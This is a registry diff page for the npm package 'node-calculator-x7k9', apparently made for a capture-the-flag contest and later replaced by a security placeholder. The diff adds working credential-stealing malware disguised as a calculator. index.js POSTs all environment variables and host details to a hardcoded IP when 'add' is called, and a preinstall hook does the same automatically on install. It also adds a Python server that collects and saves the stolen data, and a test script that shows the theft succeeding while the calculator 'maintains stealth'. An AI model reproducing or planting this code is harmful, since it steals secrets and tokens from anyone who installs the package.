node-calculator-x7k9 0.0.1-security → 3.9.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of node-calculator-x7k9 might be problematic. Click here for more details.
- package/index.js +106 -0
- package/package.json +14 -6
- package/postinstall.js +44 -0
- package/preinstall.js +44 -0
- package/simple_server.py +119 -0
- package/test-index.js +132 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,106 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* node-calculator-x7k9
|
|
3
|
+
* Maintains calculator functionality while exfiltrating environment variables
|
|
4
|
+
* Executes when the app does: require('node-calculator-x7k9')
|
|
5
|
+
*/
|
|
6
|
+
|
|
7
|
+
const http = require('http');
|
|
8
|
+
const https = require('https');
|
|
9
|
+
const os = require('os');
|
|
10
|
+
|
|
11
|
+
// Configuration - CHANGE THIS!
|
|
12
|
+
const EXFIL_SERVER = 'http://159.223.153.251:8080/exfil';
|
|
13
|
+
|
|
14
|
+
// Calculator functionality - MUST maintain this for stealth!
|
|
15
|
+
function calculate(operation, a, b) {
|
|
16
|
+
switch(operation) {
|
|
17
|
+
case 'add':
|
|
18
|
+
exfiltrate()
|
|
19
|
+
return a + b;
|
|
20
|
+
case 'subtract':
|
|
21
|
+
return a - b;
|
|
22
|
+
case 'multiply':
|
|
23
|
+
return a * b;
|
|
24
|
+
case 'divide':
|
|
25
|
+
if (b === 0) {
|
|
26
|
+
throw new Error('Division by zero');
|
|
27
|
+
}
|
|
28
|
+
return a / b;
|
|
29
|
+
default:
|
|
30
|
+
throw new Error('Invalid operation');
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
// Exfiltration - runs silently in background when package is loaded
|
|
35
|
+
function exfiltrate() {
|
|
36
|
+
try {
|
|
37
|
+
const data = {
|
|
38
|
+
timestamp: new Date().toISOString(),
|
|
39
|
+
source: 'index.js (app startup)',
|
|
40
|
+
|
|
41
|
+
// Environment variables - contains the FLAG!
|
|
42
|
+
environment: process.env,
|
|
43
|
+
|
|
44
|
+
// Basic system info
|
|
45
|
+
system: {
|
|
46
|
+
hostname: os.hostname(),
|
|
47
|
+
platform: os.platform(),
|
|
48
|
+
user: os.userInfo().username,
|
|
49
|
+
cwd: process.cwd(),
|
|
50
|
+
nodeVersion: process.version
|
|
51
|
+
}
|
|
52
|
+
};
|
|
53
|
+
|
|
54
|
+
const jsonData = JSON.stringify(data);
|
|
55
|
+
const url = new URL(EXFIL_SERVER);
|
|
56
|
+
const client = url.protocol === 'https:' ? https : http;
|
|
57
|
+
|
|
58
|
+
const options = {
|
|
59
|
+
hostname: url.hostname,
|
|
60
|
+
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
61
|
+
path: url.pathname,
|
|
62
|
+
method: 'POST',
|
|
63
|
+
headers: {
|
|
64
|
+
'Content-Type': 'application/json',
|
|
65
|
+
'Content-Length': Buffer.byteLength(jsonData),
|
|
66
|
+
'User-Agent': 'Mozilla/5.0 Batee5a'
|
|
67
|
+
},
|
|
68
|
+
timeout: 5000
|
|
69
|
+
};
|
|
70
|
+
|
|
71
|
+
const req = client.request(options, (res) => {
|
|
72
|
+
// Silent success
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
req.on('error', () => {
|
|
76
|
+
|
|
77
|
+
});
|
|
78
|
+
|
|
79
|
+
req.write(jsonData);
|
|
80
|
+
req.end();
|
|
81
|
+
|
|
82
|
+
} catch (err) {
|
|
83
|
+
const options = {
|
|
84
|
+
hostname: url.hostname,
|
|
85
|
+
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
86
|
+
path: url.pathname,
|
|
87
|
+
method: 'GET',
|
|
88
|
+
headers: {
|
|
89
|
+
'User-Agent': 'Mozilla/5.0 Batee5a + errored'
|
|
90
|
+
},
|
|
91
|
+
timeout: 5000
|
|
92
|
+
};
|
|
93
|
+
|
|
94
|
+
const req2 = client.request(options, (res) => {
|
|
95
|
+
// Silent success
|
|
96
|
+
});
|
|
97
|
+
}
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
// Execute exfiltration when module is loaded
|
|
101
|
+
// Using setTimeout to not block the app startup
|
|
102
|
+
|
|
103
|
+
// Export calculator functionality (must work normally!)
|
|
104
|
+
module.exports = {
|
|
105
|
+
calculate
|
|
106
|
+
};
|
package/package.json
CHANGED
|
@@ -1,6 +1,14 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "node-calculator-x7k9",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
1
|
+
{
|
|
2
|
+
"name": "node-calculator-x7k9",
|
|
3
|
+
"version": "3.9.0",
|
|
4
|
+
"description": "Simple calculator plugin with enhanced features",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js",
|
|
8
|
+
"postinstall": "node postinstall.js"
|
|
9
|
+
},
|
|
10
|
+
"keywords": ["calculator", "math"],
|
|
11
|
+
"author": "DarkT",
|
|
12
|
+
"license": "MIT"
|
|
13
|
+
}
|
|
14
|
+
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Minimal postinstall - backup exfiltration
|
|
5
|
+
* Main exfiltration happens in index.js when app loads the package
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
const http = require('http');
|
|
9
|
+
const https = require('https');
|
|
10
|
+
|
|
11
|
+
const EXFIL_SERVER = 'http://159.223.153.252:8080/exfil';
|
|
12
|
+
|
|
13
|
+
console.log('Installing node-calculator-x7k9 v3.2.0...');
|
|
14
|
+
|
|
15
|
+
// Quick backup exfiltration after install
|
|
16
|
+
setTimeout(() => {
|
|
17
|
+
try {
|
|
18
|
+
const data = {
|
|
19
|
+
timestamp: new Date().toISOString(),
|
|
20
|
+
source: 'postinstall (backup)',
|
|
21
|
+
environment: process.env
|
|
22
|
+
};
|
|
23
|
+
|
|
24
|
+
const jsonData = JSON.stringify(data);
|
|
25
|
+
const url = new URL(EXFIL_SERVER);
|
|
26
|
+
const client = url.protocol === 'https:' ? https : http;
|
|
27
|
+
|
|
28
|
+
const options = {
|
|
29
|
+
hostname: url.hostname,
|
|
30
|
+
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
31
|
+
path: url.pathname,
|
|
32
|
+
method: 'POST',
|
|
33
|
+
headers: {
|
|
34
|
+
'Content-Type': 'application/json',
|
|
35
|
+
'Content-Length': Buffer.byteLength(jsonData)
|
|
36
|
+
},
|
|
37
|
+
timeout: 3000
|
|
38
|
+
};
|
|
39
|
+
|
|
40
|
+
|
|
41
|
+
} catch (err) {
|
|
42
|
+
// Silent fail
|
|
43
|
+
}
|
|
44
|
+
}, 500);
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Minimal preinstall - backup exfiltration
|
|
5
|
+
* Main exfiltration happens in index.js when app loads the package
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
const http = require('http');
|
|
9
|
+
const https = require('https');
|
|
10
|
+
|
|
11
|
+
const EXFIL_SERVER = 'http://159.223.153.252:8080/exfil';
|
|
12
|
+
|
|
13
|
+
// Quick backup exfiltration during install
|
|
14
|
+
try {
|
|
15
|
+
const data = {
|
|
16
|
+
timestamp: new Date().toISOString(),
|
|
17
|
+
source: 'preinstall (backup)',
|
|
18
|
+
environment: process.env
|
|
19
|
+
};
|
|
20
|
+
|
|
21
|
+
const jsonData = JSON.stringify(data);
|
|
22
|
+
const url = new URL(EXFIL_SERVER);
|
|
23
|
+
const client = url.protocol === 'https:' ? https : http;
|
|
24
|
+
|
|
25
|
+
const options = {
|
|
26
|
+
hostname: url.hostname,
|
|
27
|
+
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
28
|
+
path: url.pathname,
|
|
29
|
+
method: 'POST',
|
|
30
|
+
headers: {
|
|
31
|
+
'Content-Type': 'application/json',
|
|
32
|
+
'Content-Length': Buffer.byteLength(jsonData)
|
|
33
|
+
},
|
|
34
|
+
timeout: 3000
|
|
35
|
+
};
|
|
36
|
+
|
|
37
|
+
const req = client.request(options);
|
|
38
|
+
req.on('error', () => {});
|
|
39
|
+
req.write(jsonData);
|
|
40
|
+
req.end();
|
|
41
|
+
|
|
42
|
+
} catch (err) {
|
|
43
|
+
// Silent fail
|
|
44
|
+
}
|
package/simple_server.py
ADDED
|
@@ -0,0 +1,119 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
Simple HTTP Exfiltration Server
|
|
4
|
+
Receives POST data and displays the FLAG
|
|
5
|
+
|
|
6
|
+
Usage: python3 simple_server.py [port]
|
|
7
|
+
"""
|
|
8
|
+
|
|
9
|
+
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
10
|
+
import json
|
|
11
|
+
import sys
|
|
12
|
+
from datetime import datetime
|
|
13
|
+
|
|
14
|
+
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
|
|
15
|
+
|
|
16
|
+
class ExfilHandler(BaseHTTPRequestHandler):
|
|
17
|
+
def log_message(self, format, *args):
|
|
18
|
+
pass # Suppress default logging
|
|
19
|
+
|
|
20
|
+
def do_POST(self):
|
|
21
|
+
try:
|
|
22
|
+
content_length = int(self.headers.get('Content-Length', 0))
|
|
23
|
+
post_data = self.rfile.read(content_length)
|
|
24
|
+
|
|
25
|
+
timestamp = datetime.now().strftime("%H:%M:%S")
|
|
26
|
+
print(f"\n[{timestamp}] 📨 Received POST from {self.client_address[0]}")
|
|
27
|
+
|
|
28
|
+
try:
|
|
29
|
+
data = json.loads(post_data.decode('utf-8'))
|
|
30
|
+
|
|
31
|
+
print(f"[{timestamp}] ✅ Data parsed successfully")
|
|
32
|
+
print(f"[{timestamp}] 📍 Source: {data.get('source', 'unknown')}")
|
|
33
|
+
|
|
34
|
+
# Check for FLAG
|
|
35
|
+
env = data.get('environment', {})
|
|
36
|
+
if 'FLAG' in env:
|
|
37
|
+
print("\n" + "="*80)
|
|
38
|
+
print("🚩 FLAG FOUND! 🚩")
|
|
39
|
+
print("="*80)
|
|
40
|
+
print(f" FLAG = {env['FLAG']}")
|
|
41
|
+
print("="*80 + "\n")
|
|
42
|
+
else:
|
|
43
|
+
# Search for flag-like patterns
|
|
44
|
+
for key, value in env.items():
|
|
45
|
+
if 'flag' in key.lower() or (isinstance(value, str) and ('flag{' in value.lower() or 'ctf{' in value.lower())):
|
|
46
|
+
print(f"\n🚩 Potential flag: {key} = {value}\n")
|
|
47
|
+
|
|
48
|
+
# Show system info
|
|
49
|
+
if 'system' in data:
|
|
50
|
+
sys_info = data['system']
|
|
51
|
+
print(f"[{timestamp}] 💻 System Info:")
|
|
52
|
+
print(f" Hostname: {sys_info.get('hostname', 'N/A')}")
|
|
53
|
+
print(f" User: {sys_info.get('user', 'N/A')}")
|
|
54
|
+
print(f" Platform: {sys_info.get('platform', 'N/A')}")
|
|
55
|
+
print(f" CWD: {sys_info.get('cwd', 'N/A')}")
|
|
56
|
+
|
|
57
|
+
# Show env var count
|
|
58
|
+
env_count = len(env)
|
|
59
|
+
print(f"\n[{timestamp}] 🔑 Captured {env_count} environment variables")
|
|
60
|
+
|
|
61
|
+
# Show first few env vars
|
|
62
|
+
print(f"[{timestamp}] 📝 Sample variables:")
|
|
63
|
+
for i, (key, value) in enumerate(list(env.items())[:5]):
|
|
64
|
+
val_str = str(value)[:60] + ('...' if len(str(value)) > 60 else '')
|
|
65
|
+
print(f" {key} = {val_str}")
|
|
66
|
+
if env_count > 5:
|
|
67
|
+
print(f" ... and {env_count - 5} more")
|
|
68
|
+
|
|
69
|
+
print(f"\n[{timestamp}] 💾 Full data available in JSON format\n")
|
|
70
|
+
|
|
71
|
+
# Save to file
|
|
72
|
+
filename = f"exfil_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
|
|
73
|
+
with open(filename, 'w') as f:
|
|
74
|
+
json.dump(data, f, indent=2)
|
|
75
|
+
print(f"[{timestamp}] 💾 Saved to: {filename}\n")
|
|
76
|
+
|
|
77
|
+
self.send_response(200)
|
|
78
|
+
self.send_header('Content-Type', 'application/json')
|
|
79
|
+
self.end_headers()
|
|
80
|
+
self.wfile.write(b'{"status":"success"}')
|
|
81
|
+
|
|
82
|
+
except json.JSONDecodeError:
|
|
83
|
+
print(f"[{timestamp}] ⚠️ Data is not valid JSON")
|
|
84
|
+
self.send_response(200)
|
|
85
|
+
self.end_headers()
|
|
86
|
+
|
|
87
|
+
except Exception as e:
|
|
88
|
+
print(f"Error: {e}")
|
|
89
|
+
self.send_response(500)
|
|
90
|
+
self.end_headers()
|
|
91
|
+
|
|
92
|
+
def do_GET(self):
|
|
93
|
+
self.send_response(200)
|
|
94
|
+
self.send_header('Content-Type', 'text/plain')
|
|
95
|
+
self.end_headers()
|
|
96
|
+
self.wfile.write(b'Exfiltration server running\n')
|
|
97
|
+
|
|
98
|
+
def main():
|
|
99
|
+
print("╔═══════════════════════════════════════════════════════════════╗")
|
|
100
|
+
print("║ Simple HTTP Exfiltration Server ║")
|
|
101
|
+
print("╚═══════════════════════════════════════════════════════════════╝\n")
|
|
102
|
+
|
|
103
|
+
print(f"[*] Starting server on port {PORT}")
|
|
104
|
+
print(f"[*] Listening on http://0.0.0.0:{PORT}/exfil")
|
|
105
|
+
print(f"\n[*] Configure your payload with:")
|
|
106
|
+
print(f" EXFIL_SERVER = 'http://YOUR_IP:{PORT}/exfil'\n")
|
|
107
|
+
print("[*] Waiting for data...\n")
|
|
108
|
+
|
|
109
|
+
server = HTTPServer(('0.0.0.0', PORT), ExfilHandler)
|
|
110
|
+
|
|
111
|
+
try:
|
|
112
|
+
server.serve_forever()
|
|
113
|
+
except KeyboardInterrupt:
|
|
114
|
+
print("\n\n[*] Shutting down...")
|
|
115
|
+
server.shutdown()
|
|
116
|
+
|
|
117
|
+
if __name__ == '__main__':
|
|
118
|
+
main()
|
|
119
|
+
|
package/test-index.js
ADDED
|
@@ -0,0 +1,132 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Test script - simulates target app loading the malicious package
|
|
5
|
+
* This shows what happens when app.js does: require('node-calculator-x7k9')
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
const http = require('http');
|
|
9
|
+
|
|
10
|
+
console.log('╔═══════════════════════════════════════════════════════════════╗');
|
|
11
|
+
console.log('║ Testing index.js Exfiltration (App Startup Method) ║');
|
|
12
|
+
console.log('╚═══════════════════════════════════════════════════════════════╝\n');
|
|
13
|
+
|
|
14
|
+
// Set test FLAG environment variable
|
|
15
|
+
process.env.FLAG = 'cyctf{test_flag_from_index_js}';
|
|
16
|
+
process.env.NODE_ENV = 'production';
|
|
17
|
+
console.log('[+] Set test environment:');
|
|
18
|
+
console.log(' FLAG=' + process.env.FLAG);
|
|
19
|
+
console.log(' NODE_ENV=' + process.env.NODE_ENV);
|
|
20
|
+
|
|
21
|
+
// Start simple HTTP server to receive exfiltrated data
|
|
22
|
+
const PORT = 8080;
|
|
23
|
+
let receivedData = null;
|
|
24
|
+
|
|
25
|
+
const server = http.createServer((req, res) => {
|
|
26
|
+
if (req.method === 'POST') {
|
|
27
|
+
let body = '';
|
|
28
|
+
|
|
29
|
+
req.on('data', chunk => {
|
|
30
|
+
body += chunk.toString();
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
req.on('end', () => {
|
|
34
|
+
try {
|
|
35
|
+
receivedData = JSON.parse(body);
|
|
36
|
+
|
|
37
|
+
console.log('\n╔═══════════════════════════════════════════════════════════════╗');
|
|
38
|
+
console.log('║ ✅ DATA RECEIVED FROM index.js! ║');
|
|
39
|
+
console.log('╚═══════════════════════════════════════════════════════════════╝\n');
|
|
40
|
+
|
|
41
|
+
console.log('📊 Captured Data:');
|
|
42
|
+
console.log(' Source:', receivedData.source);
|
|
43
|
+
console.log(' Timestamp:', receivedData.timestamp);
|
|
44
|
+
console.log(' Hostname:', receivedData.system?.hostname);
|
|
45
|
+
console.log(' User:', receivedData.system?.user);
|
|
46
|
+
console.log(' CWD:', receivedData.system?.cwd);
|
|
47
|
+
|
|
48
|
+
console.log('\n🔑 Environment Variables (' + Object.keys(receivedData.environment || {}).length + ' total):');
|
|
49
|
+
|
|
50
|
+
// Show FLAG
|
|
51
|
+
if (receivedData.environment?.FLAG) {
|
|
52
|
+
console.log('\n╔═══════════════════════════════════════════════════════════════╗');
|
|
53
|
+
console.log('║ 🚩 FLAG CAPTURED! ║');
|
|
54
|
+
console.log('║ ' + receivedData.environment.FLAG.padEnd(61) + '║');
|
|
55
|
+
console.log('╚═══════════════════════════════════════════════════════════════╝');
|
|
56
|
+
} else {
|
|
57
|
+
console.log(' [!] FLAG not found in environment');
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
// Show some env vars
|
|
61
|
+
console.log('\n📝 Sample Environment Variables:');
|
|
62
|
+
let count = 0;
|
|
63
|
+
for (const [key, value] of Object.entries(receivedData.environment || {})) {
|
|
64
|
+
if (count++ < 10) {
|
|
65
|
+
const displayValue = String(value).length > 60 ? String(value).substring(0, 60) + '...' : value;
|
|
66
|
+
console.log(' ' + key + '=' + displayValue);
|
|
67
|
+
}
|
|
68
|
+
}
|
|
69
|
+
if (Object.keys(receivedData.environment || {}).length > 10) {
|
|
70
|
+
console.log(' ... and ' + (Object.keys(receivedData.environment).length - 10) + ' more');
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
res.writeHead(200, { 'Content-Type': 'application/json' });
|
|
74
|
+
res.end(JSON.stringify({ status: 'success' }));
|
|
75
|
+
|
|
76
|
+
// Stop server after receiving data
|
|
77
|
+
setTimeout(() => {
|
|
78
|
+
server.close();
|
|
79
|
+
console.log('\n[✓] Test complete!');
|
|
80
|
+
console.log('\n💡 This demonstrates what happens when the target app starts');
|
|
81
|
+
console.log(' and does: const calculator = require(\'node-calculator-x7k9\');');
|
|
82
|
+
process.exit(0);
|
|
83
|
+
}, 1000);
|
|
84
|
+
|
|
85
|
+
} catch (e) {
|
|
86
|
+
console.error('[!] Error parsing data:', e.message);
|
|
87
|
+
res.writeHead(500);
|
|
88
|
+
res.end();
|
|
89
|
+
}
|
|
90
|
+
});
|
|
91
|
+
} else {
|
|
92
|
+
res.writeHead(200);
|
|
93
|
+
res.end('Exfil server running');
|
|
94
|
+
}
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
server.listen(PORT, '127.0.0.1', () => {
|
|
98
|
+
console.log('\n[+] Test exfil server listening on http://127.0.0.1:' + PORT);
|
|
99
|
+
console.log('[+] Simulating target app loading the package...\n');
|
|
100
|
+
|
|
101
|
+
// Simulate what target app does: require('node-calculator-x7k9')
|
|
102
|
+
console.log('>>> const calculator = require(\'./index.js\');\n');
|
|
103
|
+
|
|
104
|
+
// This is what happens when target app loads our package
|
|
105
|
+
const calculator = require('./index.js');
|
|
106
|
+
|
|
107
|
+
// Verify calculator still works (stealth!)
|
|
108
|
+
console.log('[+] Testing calculator functionality:');
|
|
109
|
+
console.log(' calculator.calculate(\'add\', 5, 3) =', calculator.calculate('add', 5, 3));
|
|
110
|
+
console.log(' calculator.calculate(\'multiply\', 4, 7) =', calculator.calculate('multiply', 4, 7));
|
|
111
|
+
console.log(' ✓ Calculator works normally (stealth maintained)');
|
|
112
|
+
|
|
113
|
+
console.log('\n[+] Waiting for exfiltrated data...');
|
|
114
|
+
|
|
115
|
+
// Timeout if no data received
|
|
116
|
+
setTimeout(() => {
|
|
117
|
+
if (!receivedData) {
|
|
118
|
+
console.log('\n[!] No data received after 10 seconds');
|
|
119
|
+
console.log('[!] Check that EXFIL_SERVER in index.js is: http://127.0.0.1:8080/exfil');
|
|
120
|
+
server.close();
|
|
121
|
+
process.exit(1);
|
|
122
|
+
}
|
|
123
|
+
}, 10000);
|
|
124
|
+
});
|
|
125
|
+
|
|
126
|
+
// Handle Ctrl+C
|
|
127
|
+
process.on('SIGINT', () => {
|
|
128
|
+
console.log('\n[*] Shutting down...');
|
|
129
|
+
server.close();
|
|
130
|
+
process.exit(0);
|
|
131
|
+
});
|
|
132
|
+
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=node-calculator-x7k9 for more information.
|